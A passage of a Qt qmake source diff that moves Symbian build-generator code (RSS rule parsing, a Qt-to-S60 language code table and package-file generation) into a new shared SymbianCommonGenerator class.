+                                            QStringList> &userRssRules)
+{
+    QMakeProject *project = generator->project;
+    for (QMap<QString, QStringList>::iterator it = project->variables().begin(); it != project->variables().end(); ++it) {
+        if (it.key().startsWith(RSS_RULES_BASE)) {
+            QString newKey = it.key().mid(sizeof(RSS_RULES_BASE) - 1);
+            if (newKey.isEmpty()) {
+                fprintf(stderr, "Warning: Empty RSS_RULES_BASE key encountered\n");
+                continue;
+            }
+            QStringList newValues;
+            QStringList values = it.value();
+            foreach(QString item, values) {
+                // If there is no stringlist defined for a rule, use rule value directly
+                // This is convenience for defining single line statements
+                if (project->values(item).isEmpty()) {
+                    newValues << item;
+                } else {
+                    QStringList itemList;
+                    foreach(QString itemRow, project->values(item)) {
+                        itemList << itemRow;
+                    }
+                    newValues << itemList.join("\n");
+                }
+            }
+            // Verify thet there is exactly one value in RSS_TAG_NBROFICONS
+            if (newKey == RSS_TAG_NBROFICONS) {
+                if (newValues.count() == 1) {
+                    numberOfIcons = newValues[0];
+                } else {
+                    fprintf(stderr, "Warning: There must be exactly one value in '%s%s'\n",
+                            RSS_RULES_BASE, RSS_TAG_NBROFICONS);
+                    continue;
+                }
+            // Verify thet there is exactly one value in RSS_TAG_ICONFILE
+            } else if (newKey == RSS_TAG_ICONFILE) {
+                if (newValues.count() == 1) {
+                    iconFile = newValues[0];
+                } else {
+                    fprintf(stderr, "Warning: There must be exactly one value in '%s%s'\n",
+                            RSS_RULES_BASE, RSS_TAG_ICONFILE);
+                    continue;
+                }
+            } else if (newKey == RSS_TAG_HEADER
+                       || newKey == RSS_TAG_SERVICE_LIST
+                       || newKey == RSS_TAG_FILE_OWNERSHIP_LIST
+                       || newKey == RSS_TAG_DATATYPE_LIST
+                       || newKey == RSS_TAG_FOOTER
+                       || newKey == RSS_TAG_DEFAULT) {
+                userRssRules[newKey] = newValues;
+                continue;
+            } else {
+                fprintf(stderr, "Warning: Unsupported key:'%s%s'\n",
+                        RSS_RULES_BASE, newKey.toLatin1().constData());
+                continue;
+            }
+        }
+    }
+
+    QStringList newValues;
+    foreach(QString item, project->values(RSS_RULES)) {
+        // If there is no stringlist defined for a rule, use rule value directly
+        // This is convenience for defining single line statements
+        if (project->values(item).isEmpty()) {
+            newValues << item;
+        } else {
+            newValues << project->values(item);
+        }
+    }
+    userRssRules[RSS_TAG_DEFAULT] << newValues;
+
+    // Validate that either both RSS_TAG_NBROFICONS and RSS_TAG_ICONFILE keys exist
+    // or neither of them exist
+    if (!((numberOfIcons.isEmpty() && iconFile.isEmpty()) ||
+            (!numberOfIcons.isEmpty() && !iconFile.isEmpty()))) {
+        numberOfIcons.clear();
+        iconFile.clear();
+        fprintf(stderr, "Warning: Both or neither of '%s%s' and '%s%s' keys must exist.\n",
+                RSS_RULES_BASE, RSS_TAG_NBROFICONS, RSS_RULES_BASE, RSS_TAG_ICONFILE);
+    }
+
+    // Validate that RSS_TAG_NBROFICONS contains only numbers
+    if (!numberOfIcons.isEmpty()) {
+        bool ok;
+        numberOfIcons = numberOfIcons.simplified();
+        numberOfIcons.toInt(&ok);
+        if (!ok) {
+            numberOfIcons.clear();
+            iconFile.clear();
+            fprintf(stderr, "Warning: '%s%s' must be integer in decimal format.\n",
+                    RSS_RULES_BASE, RSS_TAG_NBROFICONS);
+        }
+    }
+}
+
+QStringList SymbianCommonGenerator::symbianLangCodesFromTsFiles()
+{
+    QStringList tsfiles;
+    QStringList symbianLangCodes;
+    tsfiles << generator->project->values("TRANSLATIONS");
+
+    fillQt2S60LangMapTable();
+
+    foreach(QString file, tsfiles) {
+        int extIndex = file.lastIndexOf(".");
+        int langIndex = file.lastIndexOf("_", (extIndex - file.length()));
+        langIndex += 1;
+        QString qtlang = file.mid(langIndex, extIndex - langIndex);
+        QString s60lang = qt2S60LangMapTable.value(qtlang, QString("SC"));
+
+        if (!symbianLangCodes.contains(s60lang) && s60lang != "SC")
+            symbianLangCodes += s60lang;
+    }
+
+    return symbianLangCodes;
+}
+
+void SymbianCommonGenerator::fillQt2S60LangMapTable()
+{
+    qt2S60LangMapTable.reserve(170); // 165 items at time of writing.
+    qt2S60LangMapTable.insert("ab", "SC");            //Abkhazian                     //
+    qt2S60LangMapTable.insert("om", "SC");            //Afan                          //
+    qt2S60LangMapTable.insert("aa", "SC");            //Afar                          //
+    qt2S60LangMapTable.insert("af", "34");            //Afrikaans                     //Afrikaans
+    qt2S60LangMapTable.insert("sq", "35");            //Albanian                      //Albanian
+    qt2S60LangMapTable.insert("am", "36");            //Amharic                       //Amharic
+    qt2S60LangMapTable.insert("ar", "37");            //Arabic                        //Arabic
+    qt2S60LangMapTable.insert("hy", "38");            //Armenian                      //Armenian
+    qt2S60LangMapTable.insert("as", "SC");            //Assamese                      //
+    qt2S60LangMapTable.insert("ay", "SC");            //Aymara                        //
+    qt2S60LangMapTable.insert("az", "SC");            //Azerbaijani                   //
+    qt2S60LangMapTable.insert("ba", "SC");            //Bashkir                       //
+    qt2S60LangMapTable.insert("eu", "SC");            //Basque                        //
+    qt2S60LangMapTable.insert("bn", "41");            //Bengali                       //Bengali
+    qt2S60LangMapTable.insert("dz", "SC");            //Bhutani                       //
+    qt2S60LangMapTable.insert("bh", "SC");            //Bihari                        //
+    qt2S60LangMapTable.insert("bi", "SC");            //Bislama                       //
+    qt2S60LangMapTable.insert("br", "SC");            //Breton                        //
+    qt2S60LangMapTable.insert("bg", "42");            //Bulgarian                     //Bulgarian
+    qt2S60LangMapTable.insert("my", "43");            //Burmese                       //Burmese
+    qt2S60LangMapTable.insert("be", "40");            //Byelorussian                  //Belarussian
+    qt2S60LangMapTable.insert("km", "SC");            //Cambodian                     //
+    qt2S60LangMapTable.insert("ca", "44");            //Catalan                       //Catalan
+    qt2S60LangMapTable.insert("zh", "SC");            //Chinese                       //
+    qt2S60LangMapTable.insert("co", "SC");            //Corsican                      //
+    qt2S60LangMapTable.insert("hr", "45");            //Croatian                      //Croatian
+    qt2S60LangMapTable.insert("cs", "25");            //Czech                         //Czech
+    qt2S60LangMapTable.insert("da", "07");            //Danish                        //Danish
+    qt2S60LangMapTable.insert("nl", "18");            //Dutch                         //Dutch
+    qt2S60LangMapTable.insert("en", "01");            //English                       //English(UK)
+    qt2S60LangMapTable.insert("eo", "SC");            //Esperanto                     //
+    qt2S60LangMapTable.insert("et", "49");            //Estonian                      //Estonian
+    qt2S60LangMapTable.insert("fo", "SC");            //Faroese                       //
+    qt2S60LangMapTable.insert("fj", "SC");            //Fiji                          //
+    qt2S60LangMapTable.insert("fi", "09");            //Finnish                       //Finnish
+    qt2S60LangMapTable.insert("fr", "02");            //French                        //French
+    qt2S60LangMapTable.insert("fy", "SC");            //Frisian                       //
+    qt2S60LangMapTable.insert("gd", "52");            //Gaelic                        //Gaelic
+    qt2S60LangMapTable.insert("gl", "SC");            //Galician                      //
+    qt2S60LangMapTable.insert("ka", "53");            //Georgian                      //Georgian
+    qt2S60LangMapTable.insert("de", "03");            //German                        //German
+    qt2S60LangMapTable.insert("el", "54");            //Greek                         //Greek
+    qt2S60LangMapTable.insert("kl", "SC");            //Greenlandic                   //
+    qt2S60LangMapTable.insert("gn", "SC");            //Guarani                       //
+    qt2S60LangMapTable.insert("gu", "56");            //Gujarati                      //Gujarati
+    qt2S60LangMapTable.insert("ha", "SC");            //Hausa                         //
+    qt2S60LangMapTable.insert("he", "57");            //Hebrew                        //Hebrew
+    qt2S60LangMapTable.insert("hi", "58");            //Hindi                         //Hindi
+    qt2S60LangMapTable.insert("hu", "17");            //Hungarian                     //Hungarian
+    qt2S60LangMapTable.insert("is", "15");            //Icelandic                     //Icelandic
+    qt2S60LangMapTable.insert("id", "59");            //Indonesian                    //Indonesian
+    qt2S60LangMapTable.insert("ia", "SC");            //Interlingua                   //
+    qt2S60LangMapTable.insert("ie", "SC");            //Interlingue                   //
+    qt2S60LangMapTable.insert("iu", "SC");            //Inuktitut                     //
+    qt2S60LangMapTable.insert("ik", "SC");            //Inupiak                       //
+    qt2S60LangMapTable.insert("ga", "60");            //Irish                         //Irish
+    qt2S60LangMapTable.insert("it", "05");            //Italian                       //Italian
+    qt2S60LangMapTable.insert("ja", "32");            //Japanese                      //Japanese
+    qt2S60LangMapTable.insert("jv", "SC");            //Javanese                      //
+    qt2S60LangMapTable.insert("kn", "62");            //Kannada                       //Kannada
+    qt2S60LangMapTable.insert("ks", "SC");            //Kashmiri                      //
+    qt2S60LangMapTable.insert("kk", "63");            //Kazakh                        //Kazakh
+    qt2S60LangMapTable.insert("rw", "SC");            //Kinyarwanda                   //
+    qt2S60LangMapTable.insert("ky", "SC");            //Kirghiz                       //
+    qt2S60LangMapTable.insert("ko", "65");            //Korean                        //Korean
+    qt2S60LangMapTable.insert("ku", "SC");            //Kurdish                       //
+    qt2S60LangMapTable.insert("rn", "SC");            //Kurundi                       //
+    qt2S60LangMapTable.insert("lo", "66");            //Laothian                      //Laothian
+    qt2S60LangMapTable.insert("la", "SC");            //Latin                         //
+    qt2S60LangMapTable.insert("lv", "67");            //Latvian                       //Latvian
+    qt2S60LangMapTable.insert("ln", "SC");            //Lingala                       //
+    qt2S60LangMapTable.insert("lt", "68");            //Lithuanian                    //Lithuanian
+    qt2S60LangMapTable.insert("mk", "69");            //Macedonian                    //Macedonian
+    qt2S60LangMapTable.insert("mg", "SC");            //Malagasy                      //
+    qt2S60LangMapTable.insert("ms", "70");            //Malay                         //Malay
+    qt2S60LangMapTable.insert("ml", "71");            //Malayalam                     //Malayalam
+    qt2S60LangMapTable.insert("mt", "SC");            //Maltese                       //
+    qt2S60LangMapTable.insert("mi", "SC");            //Maori                         //
+    qt2S60LangMapTable.insert("mr", "72");            //Marathi                       //Marathi
+    qt2S60LangMapTable.insert("mo", "73");            //Moldavian                     //Moldovian
+    qt2S60LangMapTable.insert("mn", "74");            //Mongolian                     //Mongolian
+    qt2S60LangMapTable.insert("na", "SC");            //Nauru                         //
+    qt2S60LangMapTable.insert("ne", "SC");            //Nepali                        //
+    qt2S60LangMapTable.insert("nb", "08");            //Norwegian                     //Norwegian
+    qt2S60LangMapTable.insert("oc", "SC");            //Occitan                       //
+    qt2S60LangMapTable.insert("or", "SC");            //Oriya                         //
+    qt2S60LangMapTable.insert("ps", "SC");            //Pashto                        //
+    qt2S60LangMapTable.insert("fa", "SC");            //Persian                       //
+    qt2S60LangMapTable.insert("pl", "27");            //Polish                        //Polish
+    qt2S60LangMapTable.insert("pt", "13");            //Portuguese                    //Portuguese
+    qt2S60LangMapTable.insert("pa", "77");            //Punjabi                       //Punjabi
+    qt2S60LangMapTable.insert("qu", "SC");            //Quechua                       //
+    qt2S60LangMapTable.insert("rm", "SC");            //RhaetoRomance                 //
+    qt2S60LangMapTable.insert("ro", "78");            //Romanian                      //Romanian
+    qt2S60LangMapTable.insert("ru", "16");            //Russian                       //Russian
+    qt2S60LangMapTable.insert("sm", "SC");            //Samoan                        //
+    qt2S60LangMapTable.insert("sg", "SC");            //Sangho                        //
+    qt2S60LangMapTable.insert("sa", "SC");            //Sanskrit                      //
+    qt2S60LangMapTable.insert("sr", "79");            //Serbian                       //Serbian
+    qt2S60LangMapTable.insert("sh", "SC");            //SerboCroatian                 //
+    qt2S60LangMapTable.insert("st", "SC");            //Sesotho                       //
+    qt2S60LangMapTable.insert("tn", "SC");            //Setswana                      //
+    qt2S60LangMapTable.insert("sn", "SC");            //Shona                         //
+    qt2S60LangMapTable.insert("sd", "SC");            //Sindhi                        //
+    qt2S60LangMapTable.insert("si", "80");            //Singhalese                    //Sinhalese
+    qt2S60LangMapTable.insert("ss", "SC");            //Siswati                       //
+    qt2S60LangMapTable.insert("sk", "26");            //Slovak                        //Slovak
+    qt2S60LangMapTable.insert("sl", "28");            //Slovenian                     //Slovenian
+    qt2S60LangMapTable.insert("so", "81");            //Somali                        //Somali
+    qt2S60LangMapTable.insert("es", "04");            //Spanish                       //Spanish
+    qt2S60LangMapTable.insert("su", "SC");            //Sundanese                     //
+    qt2S60LangMapTable.insert("sw", "84");            //Swahili                       //Swahili
+    qt2S60LangMapTable.insert("sv", "06");            //Swedish                       //Swedish
+    qt2S60LangMapTable.insert("tl", "39");            //Tagalog                       //Tagalog
+    qt2S60LangMapTable.insert("tg", "SC");            //Tajik                         //
+    qt2S60LangMapTable.insert("ta", "87");            //Tamil                         //Tamil
+    qt2S60LangMapTable.insert("tt", "SC");            //Tatar                         //
+    qt2S60LangMapTable.insert("te", "88");            //Telugu                        //Telugu
+    qt2S60LangMapTable.insert("th", "33");            //Thai                          //Thai
+    qt2S60LangMapTable.insert("bo", "89");            //Tibetan                       //Tibetan
+    qt2S60LangMapTable.insert("ti", "90");            //Tigrinya                      //Tigrinya
+    qt2S60LangMapTable.insert("to", "SC");            //Tonga                         //
+    qt2S60LangMapTable.insert("ts", "SC");            //Tsonga                        //
+    qt2S60LangMapTable.insert("tr", "14");            //Turkish                       //Turkish
+    qt2S60LangMapTable.insert("tk", "92");            //Turkmen                       //Turkmen
+    qt2S60LangMapTable.insert("tw", "SC");            //Twi                           //
+    qt2S60LangMapTable.insert("ug", "SC");            //Uigur                         //
+    qt2S60LangMapTable.insert("uk", "93");            //Ukrainian                     //Ukrainian
+    qt2S60LangMapTable.insert("ur", "94");            //Urdu                          //Urdu
+    qt2S60LangMapTable.insert("uz", "SC");            //Uzbek                         //
+    qt2S60LangMapTable.insert("vi", "96");            //Vietnamese                    //Vietnamese
+    qt2S60LangMapTable.insert("vo", "SC");            //Volapuk                       //
+    qt2S60LangMapTable.insert("cy", "97");            //Welsh                         //Welsh
+    qt2S60LangMapTable.insert("wo", "SC");            //Wolof                         //
+    qt2S60LangMapTable.insert("xh", "SC");            //Xhosa                         //
+    qt2S60LangMapTable.insert("yi", "SC");            //Yiddish                       //
+    qt2S60LangMapTable.insert("yo", "SC");            //Yoruba                        //
+    qt2S60LangMapTable.insert("za", "SC");            //Zhuang                        //
+    qt2S60LangMapTable.insert("zu", "98");            //Zulu                          //Zulu
+    qt2S60LangMapTable.insert("nn", "75");            //Nynorsk                       //NorwegianNynorsk
+    qt2S60LangMapTable.insert("bs", "SC");            //Bosnian                       //
+    qt2S60LangMapTable.insert("dv", "SC");            //Divehi                        //
+    qt2S60LangMapTable.insert("gv", "SC");            //Manx                          //
+    qt2S60LangMapTable.insert("kw", "SC");            //Cornish                       //
+    qt2S60LangMapTable.insert("ak", "SC");            //Akan                          //
+    qt2S60LangMapTable.insert("kok", "SC");           //Konkani                       //
+    qt2S60LangMapTable.insert("gaa", "SC");           //Ga                            //
+    qt2S60LangMapTable.insert("ig", "SC");            //Igbo                          //
+    qt2S60LangMapTable.insert("kam", "SC");           //Kamba                         //
+    qt2S60LangMapTable.insert("syr", "SC");           //Syriac                        //
+    qt2S60LangMapTable.insert("byn", "SC");           //Blin                          //
+    qt2S60LangMapTable.insert("gez", "SC");           //Geez                          //
+    qt2S60LangMapTable.insert("kfo", "SC");           //Koro                          //
+    qt2S60LangMapTable.insert("sid", "SC");           //Sidamo                        //
+    qt2S60LangMapTable.insert("cch", "SC");           //Atsam                         //
+    qt2S60LangMapTable.insert("tig", "SC");           //Tigre                         //
+    qt2S60LangMapTable.insert("kaj", "SC");           //Jju                           //
+    qt2S60LangMapTable.insert("fur", "SC");           //Friulian                      //
+    qt2S60LangMapTable.insert("ve", "SC");            //Venda                         //
+    qt2S60LangMapTable.insert("ee", "SC");            //Ewe                           //
+    qt2S60LangMapTable.insert("wa", "SC");            //Walamo                        //
+    qt2S60LangMapTable.insert("haw", "SC");           //Hawaiian                      //
+    qt2S60LangMapTable.insert("kcg", "SC");           //Tyap                          //
+    qt2S60LangMapTable.insert("ny", "SC");            //Chewa                         //
+}
+
diff --git a/qmake/generators/symbian/symbiancommon.h b/qmake/generators/symbian/symbiancommon.h
new file mode 100644
index 0000000..3efe5a4
--- /dev/null
+++ b/qmake/generators/symbian/symbiancommon.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the qmake application of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SYMBIANCOMMON_H
+#define SYMBIANCOMMON_H
+
+#include <project.h>
+#include <makefile.h>
+#include "initprojectdeploy_symbian.h"
+
+#define PRINT_FILE_CREATE_ERROR(filename) fprintf(stderr, "Error: Could not create '%s'\n", qPrintable(filename));
+
+class SymbianCommonGenerator
+{
+public:
+    enum TargetType {
+        TypeExe,
+        TypeDll,
+        TypeLib,
+        TypePlugin,
+        TypeSubdirs
+    };
+
+    SymbianCommonGenerator(MakefileGenerator *generator);
+
+    virtual void init();
+
+protected:
+
+    QString removePathSeparators(QString &file);
+    void removeSpecialCharacters(QString& str);
+    void removeEpocSpecialCharacters(QString& str);
+    void generatePkgFile(const QString &iconFile, bool epocBuild);
+    bool containsStartWithItem(const QChar &c, const QStringList& src);
+
+    void writeRegRssFile(QMap<QString, QStringList> &useritems);
+    void writeRegRssList(QTextStream &t, QStringList &userList,
+                         const QString &listTag,
+                         const QString &listItem);
+    void writeRssFile(QString &numberOfIcons, QString &iconfile);
+    void writeLocFile(QStringList &symbianLangCodes);
+    void readRssRules(QString &numberOfIcons,
+                      QString &iconFile,
+                      QMap<QString, QStringList> &userRssRules);
+
+    QStringList symbianLangCodesFromTsFiles();
+    void fillQt2S60LangMapTable();
+
+protected:
+    MakefileGenerator *generator;
+
+    QStringList generatedFiles;
+    QStringList generatedDirs;
+    QString fixedTarget;
+    QString privateDirUid;
+    QString uid3;
+    TargetType targetType;
+
+    QHash<QString, QString> qt2S60LangMapTable;
+};
+
+#endif // SYMBIANCOMMON_H
diff --git a/qmake/generators/symbian/symmake.cpp b/qmake/generators/symbian/symmake.cpp
index 76ff7fe..faafb20 100644
--- a/qmake/generators/symbian/symmake.cpp
+++ b/qmake/generators/symbian/symmake.cpp
@@ -53,7 +53,6 @@
 #include <symbian/epocroot.h>
 
 #define RESOURCE_DIRECTORY_MMP "/resource/apps"
-#define RESOURCE_DIRECTORY_RESOURCE "\\\\resource\\\\apps\\\\"
 #define REGISTRATION_RESOURCE_DIRECTORY_HW "/private/10003a3f/import/apps"
 #define PLUGIN_COMMON_DEF_FILE_FOR_MMP "./plugin_common.def"
 #define PLUGIN_COMMON_DEF_FILE_ACTUAL "plugin_commonu.def"
@@ -66,26 +65,11 @@
 #define BLD_INF_TAG_EXTENSIONS "prj_extensions"
 #define BLD_INF_TAG_TESTEXTENSIONS "prj_testextensions"
 
-#define RSS_RULES "RSS_RULES"
-#define RSS_RULES_BASE "RSS_RULES."
-#define RSS_TAG_NBROFICONS "number_of_icons"
-#define RSS_TAG_ICONFILE "icon_file"
-#define RSS_TAG_HEADER "header"
-#define RSS_TAG_SERVICE_LIST "service_list"
-#define RSS_TAG_FILE_OWNERSHIP_LIST "file_ownership_list"
-#define RSS_TAG_DATATYPE_LIST "datatype_list"
-#define RSS_TAG_FOOTER "footer"
-#define RSS_TAG_DEFAULT "default_rules" // Same as just giving rules without tag
-
 #define MMP_TARGET "TARGET"
 #define MMP_TARGETTYPE "TARGETTYPE"
 #define MMP_SECUREID "SECUREID"
-#define MMP_OPTION_CW "OPTION CW"
-#define MMP_OPTION_ARMCC "OPTION ARMCC"
-#define MMP_OPTION_GCCE "OPTION GCCE"
-#define MMP_LINKEROPTION_CW "LINKEROPTION CW"
-#define MMP_LINKEROPTION_ARMCC "LINKEROPTION ARMCC"
-#define MMP_LINKEROPTION_GCCE "LINKEROPTION GCCE"
+#define MMP_OPTION "OPTION"
+#define MMP_LINKEROPTION "LINKEROPTION"
 #define MMP_CAPABILITY "CAPABILITY"
 #define MMP_EPOCALLOWDLLDATA "EPOCALLOWDLLDATA"
 #define MMP_EPOCHEAPSIZE "EPOCHEAPSIZE"
@@ -96,12 +80,9 @@
 #define MMP_START_RESOURCE "START RESOURCE"
 #define MMP_END_RESOURCE "END"
 
-#define PRINT_FILE_CREATE_ERROR(filename) fprintf(stderr, "Error: Could not create '%s'\n", qPrintable(filename));
-
-#define MANUFACTURER_NOTE_FILE "manufacturer_note.txt"
-#define DEFAULT_MANUFACTURER_NOTE \
-    "The package is not supported for devices from this manufacturer. Please try the selfsigned " \
-    "version of the package instead."
+#define VAR_CXXFLAGS "QMAKE_CXXFLAGS"
+#define VAR_CFLAGS "QMAKE_CFLAGS"
+#define VAR_LFLAGS "QMAKE_LFLAGS"
 
 QString SymbianMakefileGenerator::fixPathForMmp(const QString& origPath, const QDir& parentDir)
 {
@@ -160,7 +141,7 @@ QString SymbianMakefileGenerator::absolutizePath(const QString& origPath)
     return resultPath;
 }
 
-SymbianMakefileGenerator::SymbianMakefileGenerator() : MakefileGenerator() { }
+SymbianMakefileGenerator::SymbianMakefileGenerator() : MakefileGenerator(), SymbianCommonGenerator(this) { }
 SymbianMakefileGenerator::~SymbianMakefileGenerator() { }
 
 void SymbianMakefileGenerator::writeHeader(QTextStream &t)
@@ -187,7 +168,7 @@ void SymbianMakefileGenerator::writeHeader(QTextStream &t)
     bldinfDefine.append(generate_uid(project->projectFile()));
 
     bldinfDefine.prepend("BLD_INF_");
-    removeSpecialCharacters(bldinfDefine);
+    removeEpocSpecialCharacters(bldinfDefine);
 
     t << "#define " << bldinfDefine.toUpper() << endl << endl;
 }
@@ -206,7 +187,6 @@ bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
 
     // Generate pkg files if there are any actual files to deploy
     bool generatePkg = false;
-    DeploymentList depList;
 
     if (targetType == TypeExe) {
         generatePkg = true;
@@ -220,10 +200,10 @@ bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
     }
 
     if (generatePkg) {
-        generatePkgFile(iconFile, depList);
+        generatePkgFile(iconFile, true);
     }
 
-    writeBldInfContent(t, generatePkg, iconFile, depList);
+    writeBldInfContent(t, generatePkg, iconFile);
 
     // Generate empty wrapper makefile here, because wrapper makefile must exist before writeMkFile,
     // but all required data is not yet available.
@@ -280,264 +260,6 @@ bool SymbianMakefileGenerator::writeMakefile(QTextStream &t)
     return true;
 }
 
-void SymbianMakefileGenerator::generatePkgFile(const QString &iconFile, DeploymentList &depList)
-{
-    QString pkgFilename = QString("%1_template.%2")
-                          .arg(fixedTarget)
-                          .arg("pkg");
-    QFile pkgFile(pkgFilename);
-    if (!pkgFile.open(QIODevice::WriteOnly | QIODevice::Text)) {
-        PRINT_FILE_CREATE_ERROR(pkgFilename);
-        return;
-    }
-
-    generatedFiles << pkgFile.fileName();
-    QTextStream t(&pkgFile);
-
-    QString installerSisHeader = project->values("DEPLOYMENT.installer_header").join("\n");
-    if (installerSisHeader.isEmpty())
-        installerSisHeader = "0xA000D7CE"; // Use default self-signable UID if not defined
-
-    QString wrapperStreamBuffer;
-    QTextStream tw(&wrapperStreamBuffer);
-
-    QString dateStr = QDateTime::currentDateTime().toString(Qt::ISODate);
-
-    // Header info
-    QString wrapperPkgFilename = QString("%1_installer.%2")
-                                .arg(fixedTarget)
-                                .arg("pkg");
-    QString headerComment = "; %1 generated by qmake at %2\n"
-        "; This file is generated by qmake and should not be modified by the user\n"
-        ";\n\n";
-    t << headerComment.arg(pkgFilename).arg(dateStr);
-    tw << headerComment.arg(wrapperPkgFilename).arg(dateStr);
-
-    // Construct QStringList from pkg_prerules since we need search it before printed to file
-    QStringList rawPkgPreRules;
-    foreach(QString deploymentItem, project->values("DEPLOYMENT")) {
-        foreach(QString pkgrulesItem, project->values(deploymentItem + ".pkg_prerules")) {
-            QStringList pkgrulesValue = project->values(pkgrulesItem);
-            // If there is no stringlist defined for a rule, use rule name directly
-            // This is convenience for defining single line mmp statements
-            if (pkgrulesValue.isEmpty()) {
-                rawPkgPreRules << pkgrulesItem;
-            } else {
-                foreach(QString pkgrule, pkgrulesValue) {
-                    rawPkgPreRules << pkgrule;
-                }
-            }
-        }
-    }
-
-    // Apply some defaults if specific data does not exist in PKG pre-rules
-
-    if (!containsStartWithItem('&', rawPkgPreRules)) {
-        // language, (*** hardcoded to english atm, should be parsed from TRANSLATIONS)
-        QString languageCode = "; Language\n&EN\n\n";
-        t << languageCode;
-        tw << languageCode;
-    } else {
-        // In case user defines langs, he must take care also about SIS header
-        if (!containsStartWithItem('#', rawPkgPreRules))
-            fprintf(stderr, "Warning: If language is defined with DEPLOYMENT pkg_prerules, also the SIS header must be defined\n");
-    }
-
-    // name of application, UID and version
-    QString applicationVersion = project->first("VERSION").isEmpty() ? "1,0,0" : project->first("VERSION").replace('.', ',');
-    QString sisHeader = "; SIS header: name, uid, version\n#{\"%1\"},(%2),%3\n\n";
-    QString visualTarget = escapeFilePath(fileFixify(project->first("TARGET")));
-    visualTarget = removePathSeparators(visualTarget);
-    QString wrapperTarget = visualTarget + " installer";
-
-    if (installerSisHeader.startsWith("0x", Qt::CaseInsensitive)) {
-        tw << sisHeader.arg(wrapperTarget).arg(installerSisHeader).arg(applicationVersion);
-    } else {
-        tw << installerSisHeader << endl;
-    }
-
-    if (!containsStartWithItem('#', rawPkgPreRules)) {
-        t << sisHeader.arg(visualTarget).arg(uid3).arg(applicationVersion);
-    }
-
-    // Localized vendor name
-    QString vendorName;
-    if (!containsStartWithItem('%', rawPkgPreRules)) {
-        vendorName += "; Localised Vendor name\n%{\"Vendor\"}\n\n";
-    }
-
-    // Unique vendor name
-    if (!containsStartWithItem(':', rawPkgPreRules)) {
-        vendorName += "; Unique Vendor name\n:\"Vendor\"\n\n";
-    }
-
-    t << vendorName;
-    tw << vendorName;
-
-    // PKG pre-rules - these are added before actual file installations i.e. SIS package body
-    if (rawPkgPreRules.size()) {
-        QString comment = "\n; Manual PKG pre-rules from PRO files\n";
-        t << comment;
-        tw << comment;
-
-        foreach(QString item, rawPkgPreRules) {
-            // Only regular pkg file should have package dependencies or pkg header if that is
-            // defined using prerules.
-            if (!item.startsWith("(") && !item.startsWith("#")) {
-                tw << item << endl;
-            }
-            t << item << endl;
-        }
-        t << endl;
-        tw << endl;
-    }
-
-    // Begin Manufacturer block
-    if (!project->values("DEPLOYMENT.manufacturers").isEmpty()) {
-        QString manufacturerStr("IF ");
-        foreach(QString manufacturer, project->values("DEPLOYMENT.manufacturers")) {
-            manufacturerStr.append(QString("(MANUFACTURER)=(%1) OR \n   ").arg(manufacturer));
-        }
-        // Remove the final OR
-        manufacturerStr.chop(8);
-        t << manufacturerStr << endl;
-    }
-
-    // Install paths on the phone *** should be dynamic at some point
-    QString installPathBin = "!:\\sys\\bin";
-    QString installPathResource = "!:\\resource\\apps";
-    QString installPathRegResource = "!:\\private\\10003a3f\\import\\apps";
-
-    // Find location of builds
-    QString epocReleasePath = QString("%1epoc32/release/$(PLATFORM)/$(TARGET)")
-                              .arg(epocRoot());
-
-    if (targetType == TypeExe) {
-        // deploy .exe file
-        t << "; Executable and default resource files" << endl;
-        QString exeFile = fixedTarget + ".exe";
-        t << QString("\"%1/%2\"    - \"%3\\%4\"")
-             .arg(epocReleasePath)
-             .arg(exeFile)
-             .arg(installPathBin)
-             .arg(exeFile) << endl;
-
-        // deploy rsc & reg_rsc file
-        if (!project->isActiveConfig("no_icon")) {
-            t << QString("\"%1epoc32/data/z/resource/apps/%2\"    - \"%3\\%4\"")
-                 .arg(epocRoot())
-                 .arg(fixedTarget + ".rsc")
-                 .arg(installPathResource)
-                 .arg(fixedTarget + ".rsc") << endl;
-
-            t << QString("\"%1epoc32/data/z/private/10003a3f/import/apps/%2\"    - \"%3\\%4\"")
-                 .arg(epocRoot())
-                 .arg(fixedTarget + "_reg.rsc")
-                 .arg(installPathRegResource)
-                 .arg(fixedTarget + "_reg.rsc") << endl;
-
-            if (!iconFile.isEmpty())  {
-                t << QString("\"%1epoc32/data/z%2\"    - \"!:%3\"")
-                     .arg(epocRoot())
-                     .arg(iconFile)
-                     .arg(QDir::toNativeSeparators(iconFile)) << endl << endl;
-            }
-        }
-    }
-
-    // deploy any additional DEPLOYMENT  files
-    QString remoteTestPath;
-    remoteTestPath = QString("!:\\private\\%1").arg(privateDirUid);
-
-    initProjectDeploySymbian(project, depList, remoteTestPath, true, "$(PLATFORM)", "$(TARGET)", generatedDirs, generatedFiles);
-    if (depList.size())
-        t << "; DEPLOYMENT" << endl;
-    for (int i = 0; i < depList.size(); ++i)  {
-        t << QString("\"%1\"    - \"%2\"")
-             .arg(QString(depList.at(i).from).replace('\\','/'))
-             .arg(QString(depList.at(i).to).replace('/','\\')) << endl;
-    }
-    t << endl;
-
-    // PKG post-rules - these are added after actual file installations i.e. SIS package body
-    t << "; Manual PKG post-rules from PRO files" << endl;
-    foreach(QString deploymentItem, project->values("DEPLOYMENT")) {
-        foreach(QString pkgrulesItem, project->values(deploymentItem + ".pkg_postrules")) {
-            QStringList pkgrulesValue = project->values(pkgrulesItem);
-            // If there is no stringlist defined for a rule, use rule name directly
